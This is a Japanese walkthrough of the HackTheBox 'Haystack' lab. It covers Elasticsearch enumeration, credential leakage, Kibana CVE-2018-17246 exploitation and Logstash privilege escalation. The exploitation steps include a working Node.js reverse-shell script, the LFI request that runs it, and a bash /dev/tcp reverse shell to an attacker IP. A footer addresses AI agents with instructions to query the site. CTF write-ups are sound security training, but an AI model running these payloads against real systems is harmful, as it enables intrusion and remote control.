> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# Haystack HackTheBox攻略記事

ElasticSearch列挙、情報漏えい、Kibana列挙、Kibana悪用（CVE-2018-17246）を扱うHaystack HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**スキル**:

* ElasticSearch の列挙
* 情報漏えい
* Kibana の列挙
* Kibana の攻撃（CVE-2018-17246）
* Logstash の悪用（権限昇格）
  {% endhint %}

## 偵察 <a href="#reconnaissance" id="reconnaissance"></a>

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ab61a55c5784cca89748c3772607b1d7da6ba3c%2Fimage%20(2336).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8eeb2644c6b1230c4680a5d16f8ae1ce61cb21a2%2Fimage%20(2337).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8504ace12dcbcf29f05fec12fc897574ea9e6e93%2Fimage%20(2338).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーします（9200）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcc44d9e17c48839162cc1139577f5ab9f664ce9%2Fimage%20(2339).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Nmap によるポートのバージョンスキャン:

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3e8ccaa69e9f121612eb227dbe1f37f406ef7a2%2Fimage%20(2340).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6664d48b51c1760d10bbb44454244d33a3a1f712%2F%7B49FF3A1D-8BE5-41CF-B2AE-BD2D00BE5923%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 公開されたサービスの分析

### ポート 80 - 情報漏えい

**ExifTool を使ったメタデータの抽出**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a30ce0fbca1b2e3cf338eecdaff603087e04b071%2Fimage%20(2341).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

サーバー上で見つかった画像を `strings`で分析すると、base64 でエンコードされた文字列が見つかります：

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8e09c701de9e1666a79fb087c915ed1f39c915%2Fimage%20(2348).png?alt=media" alt=""><figcaption></figcaption></figure>

デコードすると、この文字列は次のメッセージを示します： *「干し草の山の中の針は 'key' です」*.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b075446086b1967625ea21e6f3d2a43f5468d5e%2Fimage%20(2349).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Elasticsearch - 情報漏えい

#### ポート 9200 で ElasticSearch バージョン 6.4.2 が稼働しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-845fb1672437b01cefd0b2d0d8a5ef12fe5873b5%2Fimage%20(2346).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Elasticsearch は、大量のデータを素早くインデックス化して検索するために使われる、リアルタイムの検索・分析エンジンです。ELK スタックに統合され、高度なデータ可視化および分析機能を提供します。
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6fa307777b94d07df14f3a092c87293f442f19c%2Fimage%20(2342).png?alt=media" alt=""><figcaption></figcaption></figure>

以下にアクセスすると `/_cat/indices?` URL で、UUID とともにインデックスの一覧を取得できます。インデックスの内容を抽出するには、次の URL を使用します：

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d67ff3ba6fb8ae20077e89f3264944303a23fe19%2Fimage%20(2350).png?alt=media" alt=""><figcaption></figcaption></figure>

**curl を使ったデータフィルタリング**

インデックス `quotes` を使い、チャレンジのキーワードで絞り込むと、関連情報が見つかります：

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c07fc40eea9a17fe56fb69b73a5f6218e2804a4b%2Fimage%20(2351).png?alt=media" alt=""><figcaption></figcaption></figure>

**Base64 エンコード文字列のデコード**

2つの base64 エンコード文字列が得られ、デコードすると識別情報が明らかになります：

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc8b39a983eb79b8bb21141eb943bc402c34642a%2Fimage%20(2347).png?alt=media" alt=""><figcaption></figcaption></figure>

**ユーザー：** `security`/ **パスワード:** `spanish.is.key`

### SSH 接続

取得した認証情報で、SSH 経由でターゲットマシンに接続し、ユーザーにアクセスします：

```bash
ssh security@10.10.10.115
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd92ae336f22569651d3efed74d68ffff5182cc4%2Fimage%20(2352).png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-450a00123bc8acc2584696c0f3a9954b7e9d365b%2Fimage%20(2353).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>

**Linuxサーバーにアクセスできたら、端末操作のために次のコマンドを実行する:**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**これにより、より効率的に、そして何よりも快適に作業できます。**

## 権限昇格：

### Kibana（ポートフォワーディング）

**手順 1: 開いているポートの特定**

まず、次のコマンドを使って内部の開いているポートを確認します：

```bash
netstat -nltp
```

ポート **5601** が目を引きます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86fa323dcdf703e71ae6c028f5f574ede193f655%2Fimage%20(1195).png?alt=media" alt=""><figcaption></figcaption></figure>

を実行すると `curl` このポートに対してリクエストを送ると、Kibana の HTML ページが取得できます：

{% hint style="info" %}
**Kibana** は、Elasticsearch 向けの箱から出してすぐ使えるデータ可視化ダッシュボードソフトウェアです
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4185365ccfcb8c99b230084fa86018162e03126b%2F%7B05AA9A2D-D25F-4DC0-9821-C58BB7E41347%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**手順 2: Kibana へアクセスするためのポートフォワーディング**

サーバーの内部ポートを **5601** ローカルマシンへ転送し、ブラウザからアクセスします。この転送は SSH で次のコマンドを使って行えます：

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

これにより、ターゲットマシンのローカルポート 5601 が自分のマシンのポート 5601 に転送され、直接アクセスできるようになります

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-659f17643a67378ea84165f840fb03c58c57bbb3%2Fimage%20(1196).png?alt=media" alt=""><figcaption></figcaption></figure>

**手順 3: Kibana のバージョン確認**

にアクセスすることで `http://localhost:5601/api/status`で、Kibana のバージョン番号を確認できます： **6.4.2**。このバージョンは **ローカルファイルインクルージョン（LFI）** 攻撃に脆弱であり、次のものとして識別されます **CVE-2018-17246**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-713508fea4c266675af9a04b46f3b254116a2f53%2Fimage%20(1197).png?alt=media" alt=""><figcaption></figcaption></figure>

### Kibana の攻撃（CVE-2018-17246）

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**手順 4: 脆弱性の悪用**

この脆弱性を悪用するため、リバースシェルを取得する JavaScript ファイルを作成します。ターゲットマシンの `/tmp` ディレクトリに、次の名前のファイルを作成します： `rev.js` 次のコードを記述します：

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Node.js アプリケーションのクラッシュを防ぐ
})();
</code></pre>

このスクリプトは、あなたのマシンのポート **443** に接続し、シェルを開きます。

**手順 5: ストリームをファイルへリダイレクト**

次に、ストリームを `/dev/shm/rev.js` ファイルへ次のコマンドでリダイレクトします：

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**手順 6: リバースシェル用にポートで待ち受ける**

自分のマシンで、ポート **443** でリバースシェルを受けるためのリスナーを起動します：

```bash
nc -nlvp 443
```

ログインすると、ターゲットマシン上でシェルを取得でき、権限昇格が可能になります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ac64b6e916dab5303c712cc4eb5e66598d95d46%2Fimage%20(1198).png?alt=media" alt=""><figcaption></figcaption></figure>

## Logstash の悪用

ユーザーがアクセスできるすべてのファイルを検索します `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73161380fb34491f0df060d7c8b19ae80db64957%2Fimage%20(1190).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Logstash にアクセスすると、3つの設定ファイルが見つかります：

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c297497d3d111cc5aba1e926db5e4027fb68bdb9%2Fimage%20(1191).png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
要するに、Logstash は 10 秒ごとに次の名前のファイルがあるかどうかを確認する cron ジョブを実行しています： `logstash_*` が `/opt/kibana/` ディレクトリに存在します。一致するファイルが見つかり、特定の入力を含むコマンドがある場合、形式は次のとおりです：
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9acf8ca93a072d4f3aa97b8886ec096ae5ff46e2%2Fimage%20(1192).png?alt=media" alt=""><figcaption></figcaption></figure>

この脆弱性を悪用するため、次の名前のファイルを作成します： `logstash_exec` の中の `/opt/kibana/` ディレクトリに、次の内容を記述します：

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

次に、ポート 4444 で待ち受け、root 権限を取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19b20733a0bcd35368dcc81babd07f4bba97a316%2Fimage%20(1193).png?alt=media" alt=""><figcaption></figcaption></figure>

### rootフラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b831c5ad7b23104dab9b52d6eb8ac1e96c3910f%2Fimage%20(1194).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-802cb7937b0258c36aa4603e11050b0d0e512236%2F%7B9B8FBFCC-DFEE-4913-A59A-DEF636B4E84F%7D.png?alt=media" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
